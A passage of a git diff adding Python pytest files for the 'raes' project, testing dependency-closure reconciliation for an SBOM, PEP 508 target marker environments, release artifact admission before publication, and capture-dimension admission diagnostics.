full projected requirements and then +the candidate with `--no-deps`, so the smoke environment also holds every +published `dev` and `docs` extra. Dumping it would file Sphinx and pytest as +runtime dependencies of `raes`. These cases pin the reconciliation that avoids +that: declared wheel metadata, the locked selection, and the observed +installation must agree, and disagreement must fail rather than silently omit an +edge. +""" + +from __future__ import annotations + +import tomllib +import zipfile +from pathlib import Path +from typing import Any + +import pytest +from packaging.metadata import Metadata +from tools.generate_python_closures_locks import locked_closure, target_environment +from tools.release_evidence_sbom import ( + RuntimeClosureError, + reconcile_runtime_closure, + wheel_metadata, +) + +REPO_ROOT = Path(__file__).resolve().parents[3] +PROJECT_LOCK = REPO_ROOT / "implementations" / "python" / "uv.lock" + +_ENVIRONMENT = target_environment("3.12", "x86_64-unknown-linux-gnu", full_version="3.12.14") + +_METADATA = """Metadata-Version: 2.3 +Name: raes +Version: 1.2.3 +Requires-Python: >=3.11,<3.15 +Requires-Dist: typer>=0.12.0 +Requires-Dist: tomli; python_full_version < '3.11' +Requires-Dist: pytest>=9.0.3; extra == 'dev' +Requires-Dist: sphinx>=7.3.0; extra == 'docs' +Provides-Extra: dev +Provides-Extra: docs +""" + + +def _wheel(tmp_path: Path, metadata: str = _METADATA) -> Path: + path = tmp_path / "raes-1.2.3-py3-none-any.whl" + with zipfile.ZipFile(path, "w") as archive: + archive.writestr("raes/__init__.py", "") + archive.writestr("raes-1.2.3.dist-info/METADATA", metadata) + return path + + +def _package(name: str, version: str, *dependencies: str) -> dict[str, Any]: + return { + "name": name, + "version": version, + "dependencies": [{"name": item} for item in dependencies], + } + + +# A minimal lock shaped like uv.lock: `typer` pulls `click`, the extras pull +# their own trees, and nothing else is reachable from the declared roots. +_LOCK: dict[str, Any] = { + "package": [ + _package("raes", "1.2.3"), + _package("typer", "0.24.1", "click"), + _package("click", "8.4.2"), + _package("pytest", "9.0.3", "pluggy"), + _package("pluggy", "1.6.0"), + _package("sphinx", "8.2.3"), + _package("tomli", "2.4.1"), + ] +} + +_INSTALLED = { + "typer": "0.24.1", + "click": "8.4.2", + "pytest": "9.0.3", + "pluggy": "1.6.0", + "sphinx": "8.2.3", + "tomli": "2.4.1", +} + + +def _reconcile(tmp_path: Path, **overrides: Any): + kwargs: dict[str, Any] = { + "lock": _LOCK, + "installed_versions": _INSTALLED, + "environment": _ENVIRONMENT, + "extras": (), + } + kwargs.update(overrides) + return reconcile_runtime_closure(wheel_metadata(_wheel(tmp_path)), **kwargs) + + +def test_wheel_metadata_is_read_without_installing_or_importing_the_candidate( + tmp_path: Path, +) -> None: + metadata = wheel_metadata(_wheel(tmp_path)) + assert metadata.name == "raes" + assert str(metadata.version) == "1.2.3" + + +def test_base_closure_excludes_published_dev_and_docs_extras(tmp_path: Path) -> None: + """The failure mode acceptance criterion 1 names, asserted directly.""" + + closure = _reconcile(tmp_path) + assert {component.name for component in closure.components} == {"typer", "click"} + assert all(component.scope == "required" for component in closure.components) + + +def test_transitive_dependencies_are_included_not_just_declared_roots( + tmp_path: Path, +) -> None: + """`click` is reached through `typer`, never declared by the wheel itself.""" + + closure = _reconcile(tmp_path) + assert "click" in {component.name for component in closure.components} + + +def test_dependency_edges_are_preserved(tmp_path: Path) -> None: + closure = _reconcile(tmp_path) + assert closure.edges["typer"] == ["click"] + assert closure.edges["click"] == [] + + +def test_extras_qualifier_on_a_declared_root_pulls_its_extra_tree( + tmp_path: Path, +) -> None: + """`uvicorn[standard]` shape: the qualifier must not be dropped when seeding. + + Dropping it resolves a closure that is silently four packages short against + the real project lock, which is an omitted dependency rather than a visible + failure. + """ + + metadata = """Metadata-Version: 2.3 +Name: raes +Version: 1.2.3 +Requires-Dist: server[fast] +""" + lock = { + "package": [ + _package("raes", "1.2.3"), + { + "name": "server", + "version": "1.0.0", + "dependencies": [{"name": "base"}], + "optional-dependencies": {"fast": [{"name": "turbo"}]}, + }, + _package("base", "2.0.0"), + _package("turbo", "3.0.0"), + ] + } + path = tmp_path / "raes-1.2.3-py3-none-any.whl" + with zipfile.ZipFile(path, "w") as archive: + archive.writestr("raes-1.2.3.dist-info/METADATA", metadata) + closure = reconcile_runtime_closure( + wheel_metadata(path), + lock=lock, + installed_versions={"server": "1.0.0", "base": "2.0.0", "turbo": "3.0.0"}, + environment=_ENVIRONMENT, + extras=(), + ) + assert {component.name for component in closure.components} == { + "server", + "base", + "turbo", + } + + +def test_reconciled_closure_agrees_with_the_incumbent_walker() -> None: + """Seeding from declared roots must not resolve a different set.""" + + lock = tomllib.loads(PROJECT_LOCK.read_text(encoding="utf-8")) + raes = next(item for item in lock["package"] if item["name"] == "raes") + installed = {str(item["name"]): str(item["version"]) for item in lock["package"] if item.get("version")} + lines = ["Metadata-Version: 2.3", "Name: raes", "Version: 9.9.9"] + for dependency in raes.get("dependencies", []): + extras = dependency.get("extra") or [] + suffix = f"[{','.join(extras)}]" if extras else "" + lines.append(f"Requires-Dist: {dependency['name']}{suffix}") + closure = reconcile_runtime_closure( + Metadata.from_email("\n".join(lines) + "\n", validate=False), + lock=lock, + installed_versions=installed, + environment=_ENVIRONMENT, + extras=(), + ) + expected = { + str(package["name"]) + for package in locked_closure(lock, _ENVIRONMENT, root_name="raes", include_root_optional=False) + } + assert {component.name for component in closure.components} == expected + + +def test_extras_are_labelled_rather_than_unconditional_runtime( + tmp_path: Path, +) -> None: + closure = _reconcile(tmp_path, extras=("docs",)) + by_name = {component.name: component for component in closure.components} + assert set(by_name) == {"typer", "click", "sphinx"} + assert by_name["sphinx"].scope == "optional" + assert by_name["sphinx"].extra == "docs" + assert by_name["typer"].scope == "required" + + +def test_markers_are_evaluated_against_the_selected_target(tmp_path: Path) -> None: + """`tomli` is gated on <3.11 and must not appear for a 3.12 target.""" + + closure = _reconcile(tmp_path) + assert "tomli" not in {component.name for component in closure.components} + + +def test_dependency_missing_from_the_lock_fails_rather_than_being_omitted( + tmp_path: Path, +) -> None: + lock = {"package": [_package("raes", "1.2.3"), _package("click", "8.4.2")]} + with pytest.raises(RuntimeClosureError) as excinfo: + _reconcile(tmp_path, lock=lock) + assert excinfo.value.code == "runtime-closure-unlocked-dependency" + + +def test_dependency_missing_from_the_installation_fails(tmp_path: Path) -> None: + with pytest.raises(RuntimeClosureError) as excinfo: + _reconcile(tmp_path, installed_versions={"typer": "0.24.1"}) + assert excinfo.value.code == "runtime-closure-uninstalled-dependency" + + +def test_locked_version_disagreeing_with_the_installation_fails( + tmp_path: Path, +) -> None: + with pytest.raises(RuntimeClosureError) as excinfo: + _reconcile(tmp_path, installed_versions={**_INSTALLED, "click": "9.9.9"}) + assert excinfo.value.code == "runtime-closure-version-disagreement" + + +def test_locked_version_violating_the_declared_specifier_fails( + tmp_path: Path, +) -> None: + lock = { + "package": [ + _package("raes", "1.2.3"), + _package("typer", "0.1.0", "click"), + _package("click", "8.4.2"), + ] + } + with pytest.raises(RuntimeClosureError) as excinfo: + _reconcile(tmp_path, lock=lock, installed_versions={"typer": "0.1.0", "click": "8.4.2"}) + assert excinfo.value.code == "runtime-closure-specifier-violation" + + +def test_unknown_extra_is_refused(tmp_path: Path) -> None: + with pytest.raises(RuntimeClosureError) as excinfo: + _reconcile(tmp_path, extras=("nonexistent",)) + assert excinfo.value.code == "runtime-closure-unknown-extra" + + +def test_wheel_without_metadata_is_refused(tmp_path: Path) -> None: + path = tmp_path / "raes-1.2.3-py3-none-any.whl" + with zipfile.ZipFile(path, "w") as archive: + archive.writestr("raes/__init__.py", "") + with pytest.raises(RuntimeClosureError) as excinfo: + wheel_metadata(path) + assert excinfo.value.code == "wheel-metadata-absent" + + +def test_oversized_metadata_member_is_refused(tmp_path: Path) -> None: + """Evidence inputs are untrusted: a declared member cannot be read unbounded.""" + + oversized = _wheel(tmp_path, _METADATA + "# padding\n" * 200_000) + with pytest.raises(RuntimeClosureError) as excinfo: + wheel_metadata(oversized) + assert excinfo.value.code == "wheel-metadata-oversized" + + +def test_real_project_lock_separates_runtime_from_the_developer_closure() -> None: + """The reconciled closure is materially smaller than the smoke environment. + + The all-extras smoke requirements pin 91 packages; the distribution's actual + runtime closure is far smaller and contains none of the published developer + or documentation tooling. + """ + + lock = tomllib.loads(PROJECT_LOCK.read_text(encoding="utf-8")) + raes = next(item for item in lock["package"] if item["name"] == "raes") + installed = {str(item["name"]): str(item["version"]) for item in lock["package"] if item.get("version")} + metadata_lines = ["Metadata-Version: 2.3", "Name: raes", "Version: 9.9.9"] + metadata_lines += [f"Requires-Dist: {item['name']}" for item in raes.get("dependencies", [])] + metadata = Metadata.from_email("\n".join(metadata_lines) + "\n", validate=False) + closure = reconcile_runtime_closure( + metadata, + lock=lock, + installed_versions=installed, + environment=_ENVIRONMENT, + extras=(), + ) + names = {component.name for component in closure.components} + assert not names & {"sphinx", "pytest", "furo", "coverage", "hypothesis"} + assert len(names) < 91 + assert "pydantic" in names diff --git a/implementations/python/tests/test_issue_1226_target_markers.py b/implementations/python/tests/test_issue_1226_target_markers.py new file mode 100644 index 000000000..1208ab276 --- /dev/null +++ b/implementations/python/tests/test_issue_1226_target_markers.py @@ -0,0 +1,161 @@ +"""Reviewed closure targets must bind their own PEP 508 marker environment. + +The projection generator resolves locks for targets it is not running on, so a +marker field inherited from the generator host makes the reviewed projection +depend on who ran it. These cases pin every field to the reviewed target. +""" + +from __future__ import annotations + +import json +import tomllib +from pathlib import Path + +import pytest +from packaging.markers import Marker, default_environment +from tools.generate_python_closures import TARGETS +from tools.generate_python_closures_locks import locked_closure, target_environment + +REPO_ROOT = Path(__file__).resolve().parents[3] +ARTIFACT_LOCK = REPO_ROOT / "implementations" / "tooling" / "artifacts.lock.json" + +# Every field PEP 508 defines. A reviewed projection must bind all of them. +_MARKER_FIELDS = frozenset(default_environment()) + +_LINUX_X86 = "x86_64-unknown-linux-gnu" +_LINUX_ARM = "aarch64-unknown-linux-gnu" +_MACOS_ARM = "aarch64-apple-darwin" + + +def _reviewed_full_version(python_version: str) -> str: + lock = json.loads(ARTIFACT_LOCK.read_text(encoding="utf-8")) + (artifact,) = [item for item in lock["artifacts"] if item["artifact_id"] == f"cpython-{python_version}"] + return str(artifact["version"]) + + +def test_reviewed_target_binds_every_marker_field() -> None: + environment = target_environment("3.14", _MACOS_ARM, full_version="3.14.7") + assert set(environment) == _MARKER_FIELDS + + +@pytest.mark.parametrize( + ("platform", "expected_system", "expected_sys_platform", "expected_machine"), + [ + (_LINUX_X86, "Linux", "linux", "x86_64"), + (_LINUX_ARM, "Linux", "linux", "aarch64"), + (_MACOS_ARM, "Darwin", "darwin", "arm64"), + ], +) +def test_target_operating_system_fields_follow_the_target_not_the_host( + platform: str, + expected_system: str, + expected_sys_platform: str, + expected_machine: str, +) -> None: + environment = target_environment("3.14", platform, full_version="3.14.7") + assert environment["platform_system"] == expected_system + assert environment["sys_platform"] == expected_sys_platform + assert environment["platform_machine"] == expected_machine + + +def test_darwin_target_is_not_internally_contradictory() -> None: + """`sys_platform` and `platform_system` must describe the same operating system.""" + + environment = target_environment("3.14", _MACOS_ARM, full_version="3.14.7") + assert Marker('platform_system == "Darwin"').evaluate(environment=environment) + assert not Marker('platform_system == "Linux"').evaluate(environment=environment) + assert Marker('sys_platform == "darwin"').evaluate(environment=environment) + + +def test_patch_sensitive_markers_use_the_reviewed_full_version() -> None: + environment = target_environment("3.12", _LINUX_X86, full_version="3.12.14") + assert environment["python_full_version"] == "3.12.14" + assert environment["implementation_version"] == "3.12.14" + assert Marker('python_full_version >= "3.12.1"').evaluate(environment=environment) + + +def test_environment_is_independent_of_the_generator_host() -> None: + """Every field is a reviewed constant, so the projection cannot vary by host. + + `os_name` is deliberately not asserted to differ from the host: every + reviewed target is POSIX, so matching the host there is correct rather than + inherited. Pinning the whole mapping is what proves independence. + """ + + assert target_environment("3.12", _MACOS_ARM, full_version="3.12.14") == { + "implementation_name": "cpython", + "implementation_version": "3.12.14", + "os_name": "posix", + "platform_machine": "arm64", + "platform_python_implementation": "CPython", + "platform_release": "", + "platform_system": "Darwin", + "platform_version": "", + "python_full_version": "3.12.14", + "python_version": "3.12", + "sys_platform": "darwin", + } + + +def test_kernel_fields_are_not_taken_from_the_generator_host() -> None: + """A target has no reviewed running kernel, so these stay empty.""" + + host = default_environment() + environment = target_environment("3.14", _LINUX_X86, full_version="3.14.7") + for field in ("platform_release", "platform_version"): + assert environment[field] == "" + assert environment[field] != host[field] + + +def test_unsupported_target_platform_is_refused() -> None: + with pytest.raises(ValueError): + target_environment("3.14", "riscv64-unknown-linux-gnu", full_version="3.14.7") + + +def test_full_version_must_belong_to_the_declared_minor_series() -> None: + with pytest.raises(ValueError): + target_environment("3.12", _LINUX_X86, full_version="3.13.15") + + +def test_patch_sensitive_selection_reaches_the_locked_closure() -> None: + """The defect this fixes changed a shipped projection, so pin that outcome. + + `coverage` requires `tomli` under `python_full_version <= '3.11'`. Synthesizing + the cp311 target as `3.11.0` satisfied that marker and pinned a `tomli` wheel + into the reviewed offline wheelhouse, even though the reviewed 3.11.16 payload + reports `3.11.16`, never selects it, and has `tomllib` in the standard library. + """ + + lock = tomllib.loads((REPO_ROOT / "implementations" / "python" / "uv.lock").read_text(encoding="utf-8")) + selected = { + str(package["name"]) + for package in locked_closure( + lock, + target_environment("3.11", _LINUX_X86, full_version=_reviewed_full_version("3.11")), + root_name="raes", + include_root_optional=True, + ) + } + assert "coverage" in selected, "guard: this case is meaningless if coverage stops being projected" + assert "tomli" not in selected + + synthesized = { + str(package["name"]) + for package in locked_closure( + lock, + target_environment("3.11", _LINUX_X86, full_version="3.11.0"), + root_name="raes", + include_root_optional=True, + ) + } + assert "tomli" in synthesized, "guard: the marker must still be patch-sensitive for this case to bite" + + +def test_every_reviewed_target_resolves_a_locked_full_version() -> None: + """Each projected target names an interpreter the artifact lock actually pins.""" + + for _profile_id, python_version, _abi, platform in TARGETS: + full_version = _reviewed_full_version(python_version) + assert full_version.startswith(f"{python_version}.") + environment = target_environment(python_version, platform, full_version=full_version) + assert environment["python_full_version"] == full_version diff --git a/implementations/python/tests/test_issue_1227_release_publication.py b/implementations/python/tests/test_issue_1227_release_publication.py new file mode 100644 index 000000000..835fb94d7 --- /dev/null +++ b/implementations/python/tests/test_issue_1227_release_publication.py @@ -0,0 +1,303 @@ +"""#1227: the publication boundary consumes only the admitted tested bytes. + +Admission already binds one wheel and one sdist to a release by size and +SHA-256. Two gaps remain at the boundary where a credentialed publisher acts: +a subject filename is never checked against the resolved tag version, and the +validated identity is never handed to the publisher jobs. These cases drive +both, so a publisher cannot be pointed at a correctly-shaped artifact that +belongs to a different version, and cannot publish a file the admission job +did not validate. +""" + +from __future__ import annotations + +import hashlib +import json +from pathlib import Path + +import pytest +from tools.release_evidence_admission import ( + AdmissionError, + ReleaseIdentity, + build_evidence_index, +) +from tools.release_evidence_publication import admitted_publication_subjects + +_IDENTITY = ReleaseIdentity( + repository="OpenRAE/rae", + source_sha="a" * 40, + workflow_ref="OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main", + workflow_sha="e" * 40, + run_id="1234567890", + run_attempt="1", + tag="v1.2.3", +) + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + + +def _write(path: Path, payload: bytes) -> Path: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_bytes(payload) + return path + + +def _index( + tmp_path: Path, + *, + wheel_name: str = "raes-1.2.3-py3-none-any.whl", + sdist_name: str = "raes-1.2.3.tar.gz", +) -> dict[str, object]: + """Build one evidence index over a named wheel/sdist pair. + + Only the index is needed here: filename correspondence and the publisher + handoff are decided from the admitted record, not from a second scan of + the directory. + """ + + dist = tmp_path / "dist" + evidence = tmp_path / "evidence" + _write(dist / wheel_name, b"wheel-bytes") + _write(dist / sdist_name, b"sdist-bytes") + _write(dist / "from-sdist" / wheel_name, b"derived-bytes") + _write(evidence / "build-inventory.json", b"{}") + return build_evidence_index( + distribution_dir=dist, + evidence_dir=evidence, + identity=_IDENTITY, + profile_id="public-linux-x86_64-cp312-all-extras", + policy_hashes={"tooling_policy_sha256": "b" * 64}, + ) + + +def test_admitted_subjects_are_the_wheel_and_sdist_digests(tmp_path: Path) -> None: + """The handoff carries exactly the two published basenames and digests.""" + + subjects = admitted_publication_subjects(index=_index(tmp_path), expected_tag="v1.2.3") + + assert subjects == { + "wheel_name": "raes-1.2.3-py3-none-any.whl", + "wheel_sha256": _sha256(b"wheel-bytes"), + "sdist_name": "raes-1.2.3.tar.gz", + "sdist_sha256": _sha256(b"sdist-bytes"), + } + + +def test_sdist_named_for_another_version_is_refused(tmp_path: Path) -> None: + """A correctly-shaped sdist from a different version is not this release.""" + + index = _index(tmp_path, sdist_name="raes-9.9.9.tar.gz") + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=index, expected_tag="v1.2.3") + assert excinfo.value.code == "admission-subject-version-mismatch" + + +def test_wheel_named_for_another_version_is_refused(tmp_path: Path) -> None: + index = _index(tmp_path, wheel_name="raes-9.9.9-py3-none-any.whl") + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=index, expected_tag="v1.2.3") + assert excinfo.value.code == "admission-subject-version-mismatch" + + +def test_wheel_version_prefix_must_be_a_whole_version_field(tmp_path: Path) -> None: + """`raes-1.2.30-...` does not satisfy a `1.2.3` release.""" + + index = _index(tmp_path, wheel_name="raes-1.2.30-py3-none-any.whl") + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=index, expected_tag="v1.2.3") + assert excinfo.value.code == "admission-subject-version-mismatch" + + +def test_foreign_project_name_is_refused(tmp_path: Path) -> None: + """Only the release's own distribution is a publication candidate.""" + + index = _index(tmp_path, wheel_name="other-1.2.3-py3-none-any.whl") + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=index, expected_tag="v1.2.3") + assert excinfo.value.code == "admission-subject-version-mismatch" + + +@pytest.mark.parametrize("tag", ["1.2.3", "v1.2", "v1.2.3-rc1", "vx.y.z", "", "v01.2.3"]) +def test_unstable_or_malformed_tags_are_refused(tmp_path: Path, tag: str) -> None: + """The expected version comes from a strict stable-SemVer release tag.""" + + index = _index(tmp_path) + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=index, expected_tag=tag) + assert excinfo.value.code == "admission-release-tag-malformed" + + +def test_index_without_both_published_subjects_is_refused(tmp_path: Path) -> None: + """A truncated subject set never yields a partial publisher handoff.""" + + index = _index(tmp_path) + index["subjects"] = [item for item in index["subjects"] if item["role"] != "sdist"] + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=index, expected_tag="v1.2.3") + assert excinfo.value.code == "admission-subject-cardinality" + + +def test_derived_test_wheel_is_not_a_publication_candidate(tmp_path: Path) -> None: + """The sdist-built wheel shares a basename but is never published.""" + + index = _index(tmp_path) + derived = next(item for item in index["test_subjects"] if item["role"] == "derived-test-wheel") + subjects = admitted_publication_subjects(index=index, expected_tag="v1.2.3") + + assert derived["filename"] == subjects["wheel_name"] + assert derived["sha256"] != subjects["wheel_sha256"] + assert _sha256(b"derived-bytes") not in set(subjects.values()) + + +def test_emitted_scalars_are_shell_safe_key_values(tmp_path: Path) -> None: + """The handoff is written as fixed `KEY=value` lines for a job output.""" + + from tools.release_evidence_publication import render_publication_outputs + + rendered = render_publication_outputs(admitted_publication_subjects(index=_index(tmp_path), expected_tag="v1.2.3")) + + assert rendered.splitlines() == [ + "wheel_name=raes-1.2.3-py3-none-any.whl", + f"wheel_sha256={_sha256(b'wheel-bytes')}", + "sdist_name=raes-1.2.3.tar.gz", + f"sdist_sha256={_sha256(b'sdist-bytes')}", + ] + # A GitHub Actions output line is terminated per value; an injected newline + # or a stray `=` in a name would let one scalar declare another. + for line in rendered.splitlines(): + key, _, value = line.partition("=") + assert key.isidentifier() + assert "\n" not in value + assert "\r" not in value + + +def test_publication_subjects_reject_a_non_mapping_index() -> None: + not_an_object = json.loads("[]") + + with pytest.raises(AdmissionError) as excinfo: + admitted_publication_subjects(index=not_an_object, expected_tag="v1.2.3") + assert excinfo.value.code == "admission-index-unsupported" + + +def test_cli_verify_accepts_an_emit_subjects_sink() -> None: + """The admission job writes the handoff through the existing verify command.""" + + from tools import release_evidence + + args = release_evidence._parse_args( + [ + "verify", + "--distribution-dir", + "dist", + "--evidence-dir", + "evidence", + "--signer-workflow", + "OpenRAE/rae/.github/workflows/release-please.yml", + "--release-tag", + "v1.2.3", + "--emit-subjects", + "subjects.env", + ] + ) + + assert args.emit_subjects == Path("subjects.env") + + +def test_cli_canonicalizes_the_emit_subjects_sink() -> None: + """The handoff sink is operator input reaching a filesystem write. + + Every other path this command accepts is canonicalized before use so no + unresolved `..` component survives into a read or write; a write sink is + the case where that matters most. + """ + + import ast + import inspect + + from tools import release_evidence + + main = next( + node + for node in ast.walk(ast.parse(inspect.getsource(release_evidence))) + if isinstance(node, ast.FunctionDef) and node.name == "main" + ) + canonicalized = { + element.value + for node in ast.walk(main) + if isinstance(node, ast.Tuple) + for element in node.elts + if isinstance(element, ast.Constant) and isinstance(element.value, str) + } + + assert "emit_subjects" in canonicalized + + +def test_cli_checks_subject_names_on_every_admission() -> None: + """The name check is not conditional on the handoff being written out. + + It lives beside the handoff derivation rather than inside + `verify_admission`, so the `verify` command must run it unconditionally -- + otherwise an admission that does not ask for the scalars would accept a + foreign-version artifact. + """ + + import ast + import inspect + + from tools import release_evidence + + main = next( + node + for node in ast.walk(ast.parse(inspect.getsource(release_evidence))) + if isinstance(node, ast.FunctionDef) and node.name == "main" + ) + call = next( + node + for node in ast.walk(main) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id == "admitted_publication_subjects" + ) + + # Its enclosing statement must not sit under the `--emit-subjects` guard. + guarded = [ + node for node in ast.walk(main) if isinstance(node, ast.If) and any(call is inner for inner in ast.walk(node)) + ] + assert guarded == [] + + +def test_cli_emits_the_handoff_only_after_admission_succeeds() -> None: + """A rejected release must never leave publishable scalars behind. + + The scalars authorize a credentialed publisher, so emitting them before or + independently of `verify_admission` would hand a publisher an identity the + admission boundary had not accepted. + """ + + import ast + import inspect + + from tools import release_evidence + + main = next( + node + for node in ast.walk(ast.parse(inspect.getsource(release_evidence))) + if isinstance(node, ast.FunctionDef) and node.name == "main" + ) + + def _position(needle: str) -> int: + return next( + index + for index, statement in enumerate(ast.walk(main)) + if isinstance(statement, ast.Call) and isinstance(statement.func, ast.Name) and statement.func.id == needle + ) + + assert _position("verify_admission") < _position("render_publication_outputs") diff --git a/implementations/python/tests/test_issue_1237_capture_dimensions.py b/implementations/python/tests/test_issue_1237_capture_dimensions.py new file mode 100644 index 000000000..93962310b --- /dev/null +++ b/implementations/python/tests/test_issue_1237_capture_dimensions.py @@ -0,0 +1,139 @@ +"""Independent dimension oracles prevent partially implemented capture terms.""" + +from __future__ import annotations + +from dataclasses import fields, replace + +import pytest +from raes_backend_protocols.capabilities import ObservationCaptureOffer +from raes_backend_protocols.manifest import backend_manifest_from_v2_model, backend_manifest_v2_model +from raes_contracts.contracts import ObservationCaptureOfferModel +from raes_processor.capture_admission import ( + CaptureDemand, + capture_admission_diagnostics, + compile_capture_spec_demands, + compile_scenario_capture_demands, +) +from test_issue_1112_capture_admission import _capture_scenario, _evidence_bundle, _manifest_with_offers, _offer + +# Each row independently specifies a demanded value, a rejecting offer value, +# and the externally observable diagnostic. Every governed dimension needs one. +DIMENSION_CASES = { + "output_contract": ( + "participant-behavior-history-event-stream-v1", + "experiment-evidence-record-v1", + "output-contract-mismatch", + ), + "field_selectors": (("/required",), ("/different",), "field-selector-missing"), + "artifact_roles": (("observation",), frozenset({"other"}), "artifact-role-mismatch"), + "media_types": (("application/jsonl",), frozenset({"application/json"}), "media-type-mismatch"), + "capture_kind": ("log", "trace", "capture-kind-mismatch"), + "source_classes": (("participant_action",), frozenset({"other"}), "source-class-mismatch"), + "source_refs": (("source-a",), frozenset({"source-b"}), "source-ref-mismatch"), + "scopes": (("run",), frozenset({"task"}), "scope-mismatch"), + "scope_refs": (("nodes.vm",), frozenset({"nodes.other"}), "scope-ref-mismatch"), + "channel_kinds": (("backend-log",), frozenset({"packet-capture"}), "channel-mismatch"), + "channel_refs": (("channel-a",), frozenset({"channel-b"}), "channel-ref-mismatch"), + "window_kinds": (("task",), frozenset({"run"}), "window-mismatch"), + "integrity_modes": (("checksum",), frozenset({"signature"}), "integrity-mismatch"), + "sensitivity": ("plain", "restricted", "sensitivity-mismatch"), + "availability": (None, "unavailable", "availability-insufficient"), + "fidelity": (None, "lossy", "fidelity-insufficient"), + "disclosure": ("redacted", "full", "disclosure-insufficient"), + "retention_policy_refs": (("study_lifetime",), frozenset({"run_lifetime"}), "retention-mismatch"), + "export_policy": ("available", "unavailable", "export-policy-mismatch"), + "redaction_policy": ("redact_sensitive", None, "redaction-policy-mismatch"), +} + + +def test_dimension_registry_covers_every_closed_model_and_behavior_case() -> None: + from raes_contracts.capture_dimensions import CAPTURE_DIMENSIONS + + names = {dimension.name for dimension in CAPTURE_DIMENSIONS} + assert names == set(DIMENSION_CASES) + assert names | {"offer_id", "offer_version"} == set(ObservationCaptureOfferModel.model_fields) + assert names | {"offer_id", "offer_version"} == {item.name for item in fields(ObservationCaptureOffer)} + assert names - {"availability", "fidelity"} == {item.name for item in fields(CaptureDemand)} - { + "demand_id", + "address", + "capture_spec_ref", + "capture_requirement_ref", + } + + +@pytest.mark.parametrize("name", DIMENSION_CASES) +def test_each_dimension_has_a_round_trip_and_rejection_diagnostic(name: str) -> None: + required, unsupported, failure = DIMENSION_CASES[name] + demand = compile_scenario_capture_demands(_capture_scenario())[0] + if required is not None: + demand = replace(demand, **{name: required}) + offer = _offer(**{name: unsupported}) + manifest = _manifest_with_offers(offer) + reconstructed = backend_manifest_from_v2_model(backend_manifest_v2_model(manifest)) + assert reconstructed == manifest + diagnostics = capture_admission_diagnostics((demand,), reconstructed.observation) + assert any(item.code == f"capture.{failure}" and item.address == demand.address for item in diagnostics) + + +def test_partial_projection_overrides_fail_closed() -> None: + from raes_contracts.capture_dimensions import project_capture_dimensions + + requirement = _capture_scenario().evidence_requirements["attacker-action-log"] + with pytest.raises(ValueError, match="projection"): + project_capture_dimensions(requirement, source="sdl", overrides={"unknown_dimension": "value"}) + + +@pytest.mark.parametrize("source", ["sdl", "capture"]) +def test_every_dimension_has_an_independent_projection_oracle(source: str) -> None: + from raes_contracts.capture_dimensions import CAPTURE_DIMENSIONS + + expected = { + "output_contract": "participant-behavior-history-event-stream-v1", + "field_selectors": ("/0", "/0/action_contract_address"), + "artifact_roles": ("observation",), + "media_types": ("application/json",), + "capture_kind": "log", + "source_classes": ("participant_action",), + "source_refs": (), + "scopes": ("run",), + "scope_refs": (), + "channel_kinds": ("backend-log",), + "channel_refs": (), + "window_kinds": ("task",), + "integrity_modes": ("checksum",), + "sensitivity": "plain", + "disclosure": "full", + "retention_policy_refs": ("study_lifetime",), + "export_policy": "not-required", + "redaction_policy": None, + } + if source == "sdl": + demand = compile_scenario_capture_demands(_capture_scenario())[0] + else: + _, _, spec, _, _ = _evidence_bundle() + demand = compile_capture_spec_demands((spec,))[0] + expected.update( + field_selectors=("/0/action_contract_address",), + capture_kind="trace", + source_classes=(), + scopes=("network",), + channel_kinds=(), + channel_refs=("evaluation-history-channel",), + window_kinds=("run",), + integrity_modes=("sha256-digest",), + sensitivity="internal", + retention_policy_refs=("Retain raw evidence for the experiment review window.",), + ) + assert {dimension.name for dimension in CAPTURE_DIMENSIONS if dimension.required_value is None} == set(expected) + assert {name: getattr(demand, name) for name in expected} == expected + + +def test_atomic_offers_cannot_pool_dimensions_and_diagnostics_ignore_offer_order() -> None: + demand = compile_scenario_capture_demands(_capture_scenario())[0] + offers = ( + _offer(offer_id="wrong-window", window_kinds=frozenset({"run"})), + _offer(offer_id="wrong-source", source_classes=frozenset({"other"})), + ) + diagnostics = capture_admission_diagnostics((demand,), _manifest_with_offers(*offers).observation) + assert diagnostics + assert diagnostics == capture_admission_diagnostics((demand,), _manifest_with_offers(*reversed(offers)).observation) diff --git a/implementations/python/tests/test_issue_1237_capture_ingress.py b/implementations/python/tests/test_issue_1237_capture_ingress.py new file mode 100644 index 000000000..57db0078a --- /dev/null +++ b/implementations/python/tests/test_issue_1237_capture_ingress.py @@ -0,0 +1,113 @@ +"""The same capture failures remain closed at every pre-effect ingress.""" + +from __future__ import annotations + +from dataclasses import replace + +import pytest +from raes_backend_protocols.manifest import backend_manifest_from_v2_model_with_envelope +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import BackendManifestV2Model, ExperimentTaskModel +from raes_contracts.contracts.admitted_trial_plan import seal_admitted_trial_entry, seal_admitted_trial_plan +from raes_contracts.plan_effects import plan_can_mutate +from raes_contracts.planning import PlanScope +from raes_processor.capture_admission import compile_capture_spec_demands +from raes_processor.compiler import compile_runtime_model +from raes_processor.planner import plan +from raes_processor.trial_compiler import compile_admitted_trial_plan +from raes_processor.trial_realization import instantiate_admitted_trial_entry, realize_admitted_trial_entry +from raes_runtime.control_plane import RuntimeControlPlane +from test_sce_002_trial_realization import _BACKEND_KEY, _TASK_FIXTURE, _realization_inputs, _request_with_processor + +CAPTURE_FAILURES = { + "availability": ("unavailable", "availability-insufficient"), + "fidelity": ("lossy", "fidelity-insufficient"), + "field_selectors": (["/not-promised"], "field-selector-missing"), + "integrity_modes": (["signature"], "integrity-mismatch"), + "window_kinds": (["manual"], "window-mismatch"), + "scopes": (["participant"], "scope-mismatch"), + "channel_refs": (["different-channel"], "channel-ref-mismatch"), + "retention_policy_refs": (["different-retention"], "retention-mismatch"), +} + + +def _with_offer_change(request, name, value): + payload = request.apparatus_manifests[_BACKEND_KEY].model_dump(mode="json") + 